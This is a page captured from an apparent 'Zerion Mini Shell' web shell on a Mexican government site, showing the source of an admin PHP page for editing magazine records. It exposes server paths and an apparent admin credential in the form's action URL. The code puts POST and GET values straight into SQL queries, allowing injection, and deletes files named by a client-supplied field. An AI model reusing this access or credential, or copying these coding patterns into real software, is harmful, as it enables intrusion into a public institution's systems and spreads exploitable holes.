%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/portal.tjamich.gob.mx/adminit2018/
Upload File :
Create Path :
Current File : /home/tjamichg/portal.tjamich.gob.mx/adminit2018/editar_revista.php

<?php 

if(isset($_POST['GuardarDatos']) && $_POST['GuardarDatos'] == 'Guardar'){

$act_id = $_POST['id_revista'];
$act_titulo = $_POST['titulo'];
$act_edicion = $_POST['edicion'];
$act_fecha = $_POST['fecha'];
$act_imagen1 = $_POST['imagen1a'];
$act_hora = $_POST['hora'];
$act_link = $_POST['link_registro'];
$act_etiquetas = $_POST['etiquetas'];
//echo "Si entró";

// setlocale(LC_ALL, 'es_ES').': ';
// $tja_fecha_pub = iconv('ISO-8859-1', 'UTF-8', strftime('%A %d de %B de %Y', time()));

setlocale(LC_ALL,"es_ES");
//$web_fecha2 = utf8_encode(strftime("%A %d de %B del %Y", strtotime($bb))); // solo la use de ejemplo
//$tja_fecha_pub = utf8_encode(strftime("%A %d de %B del %Y"));

$allowedExts = array("gif", "jpeg", "jpg", "png");
      
      $temp = explode(".", $_FILES["imagen1"]["name"]);
      $extension = end($temp);
      $imagen="";
      $random=rand(1,999);
      
      if ((($_FILES["imagen1"]["type"] == "image/gif")
        || ($_FILES["imagen1"]["type"] == "image/jpeg")
        || ($_FILES["imagen1"]["type"] == "image/jpg")
        || ($_FILES["imagen1"]["type"] == "image/pjpeg")
        || ($_FILES["imagen1"]["type"] == "image/x-png")
        || ($_FILES["imagen1"]["type"] == "image/png")))
      {

          if ($_FILES["imagen1"]["name"] != NULL) 
          {
            $imagen= $random.'_'.$_FILES["imagen1"]["name"];
            move_uploaded_file($_FILES["imagen1"]["tmp_name"], "../img/revistas/" .$random.'_'.$_FILES["imagen1"]["name"]);
            echo "Se ha subido correctamente la imágen 1: " . "../img/revistas/" .$random.'_'. $_FILES["imagen1"]["name"]."<br />";
          } 
          else 
          { 
            echo "No se seleccionó una nueva imágen 1<br />"; 
          }
      }

        /// AQUI BORRAMOS LAS IMAGENES ACTUALES
        if ($imagen == NULL) {
        $imagen = "$act_imagen1";
        echo"No se ha reemplazado la Imagen 1, ya que no se ha seleccionado una nueva <br />";
        }
        else { unlink ("../img/revistas/".$act_imagen1); echo "se sobreescribió la imagen 1: $act_imagen1 <br />"; }

//$con = db_connect2();
require("../conn.php");
$error = "";
$fecha_hora = $act_fecha." ".$act_hora;

  $sql ="UPDATE revista SET 
nombre = '$act_titulo',
edicion = '$act_edicion',
fecha_publicacion = '$fecha_hora',
link_revista = '$act_link',
portada = '$imagen',
etiquetas = '$act_etiquetas'
WHERE id_revista = '$act_id'";
        
  $res = mysqli_query($db,$sql) or die(mysqli_error($db));
  
  if (!$res)
  {
    echo "<br /> Error al Actualizar";
  }
    /// Confirmamos que se Actualizo la Informacion y mostramos mensaje
  else
  {
    echo "<br /> La Revista se ha Actualizado Correctamente";        
  }

}
else {
 ?>

                  <?php 

                  //$con = db_connect2();
                  require("../conn.php");
                  $error = "";
                      
                       $sql = "SELECT id_revista, nombre, edicion, DATE_FORMAT(fecha_pub, '%Y-%m-%d') FechaStr, DATE_FORMAT(fecha_pub,'%H:%i:%s') HoraStr, portada, etiquetas, link_revista from revista WHERE id_revista = '$_GET[edid]' ";
                       $editrevis = mysqli_query($db,$sql);
                        while($reditrevis = mysqli_fetch_array($editrevis))
                       {
                          $edit_id_revista = $reditrevis['id_revista'];
                          $edit_titulo = $reditrevis['nombre'];
                          $edit_edicion = $reditrevis['edicion'];
                          $edit_fecha = $reditrevis['FechaStr'];
                          $edit_hora = $reditrevis['HoraStr'];
                          $edit_imagen1 = $reditrevis['portada'];
                          $edit_etiquetas = $reditrevis['etiquetas'];
                          $edit_link = $reditrevis['link_revista'];                     
                       }
                  ?>

<div class="content content-boxed">
    <!-- CKEditor (js-ckeditor-inline + js-ckeditor ids are initialized in App() -> uiHelperCkeditor()) -->
    <!-- For more info and examples you can check out http://ckeditor.com -->
    <div class="block">

 				<!-- FORMULARIO -->
                <div class="block-content">

                    <form method="post" action="Editar-Revista&adminuser=CarLos19!Ee" method="POST" enctype="multipart/form-data">

                        <input type="hidden" name="id_revista" id="id_revista" value="<?php echo "$edit_id_revista"; ?>">

                        <div class="form-group">
                            <div class="row">
                                <label class="col-sm-1 control-label" for="example-text-input">Título: </label>
                                <div class="col-sm-7">
                                    <input class="js-maxlength form-control" type="text" value="<?php echo "$edit_titulo";  ?>" id="titulo" name="titulo" maxlength="300" data-always-show="true" data-placement="top-right">
                                </div>
                                <label class="col-sm-1 control-label" for="example-text-input">Edición: </label>
                                <div class="col-sm-3">
                                <input class="js-maxlength form-control" type="text" placeholder="1, 2, 3..." id="edicion" name="edicion" value="<?php echo $edit_edicion; ?>" maxlength="5" data-always-show="true" data-placement="top-right" value="">
                                </div>
                                
                            </div>
                        </div>

                        <div class="form-group">
                            <div class="row">
                              <label class="col-sm-1 control-label" for="example-text-input">Fecha: </label>
                                <div class="col-sm-2">
                                <input class="js-datepicker form-control" type="text" id="fecha" name="fecha" data-date-format="yyyy/MM/dd" value="<?php echo "$edit_fecha";  ?>">
                                </div>
                                <div class="col-sm-2">
                                    <input class="form-control" type="time" name="hora" id="hora" value="<?php echo $edit_hora; ?>">
                                </div>
                                <label class="col-sm-1 control-label" for="example-text-input">link de la revista: </label>
                                <div class="col-sm-6">
                                    <input class="form-control" type="text" placeholder="Copia aquí el enlace del registro" id="link_registro" name="link_registro" value="<?php echo "$edit_link";  ?>">
                                </div>
                                
                            </div>
                        </div>
                        <div class="form-group">
                            <div class="row">
                              <label class="col-sm-1 control-label" for="example-text-input">Portada: </label>
                                <div class="col-sm-5">
                                  <input type="file" id="imagen1" name="imagen1">
                                      <strong>Actual:</strong> <input name="imagen1a" type="text" id="imagen1a"  value="<?php echo "$edit_imagen1"; ?>" />
                                </div>
                              <label class="col-sm-1 control-label" for="example-text-input">Etiquetas: </label>
                                <div class="col-sm-5">
                                <input class="js-maxlength form-control" type="text" id="etiquetas" name="etiquetas" maxlength="100" data-always-show="true" data-placement="top-right" value="<?php echo "$edit_etiquetas";  ?>">
                                </div>
                            </div>
                        </div>

                        <div class="form-group">
                            <button class="btn btn-sm btn-primary" type="submit" name="GuardarDatos" value="Guardar">Editar Revista</button>
                        </div>

                    </form>

                </div>
            	<!-- FIN FORMULARIO -->

    </div>

</div>


<?php
}
?>

Zerion Mini Shell 1.0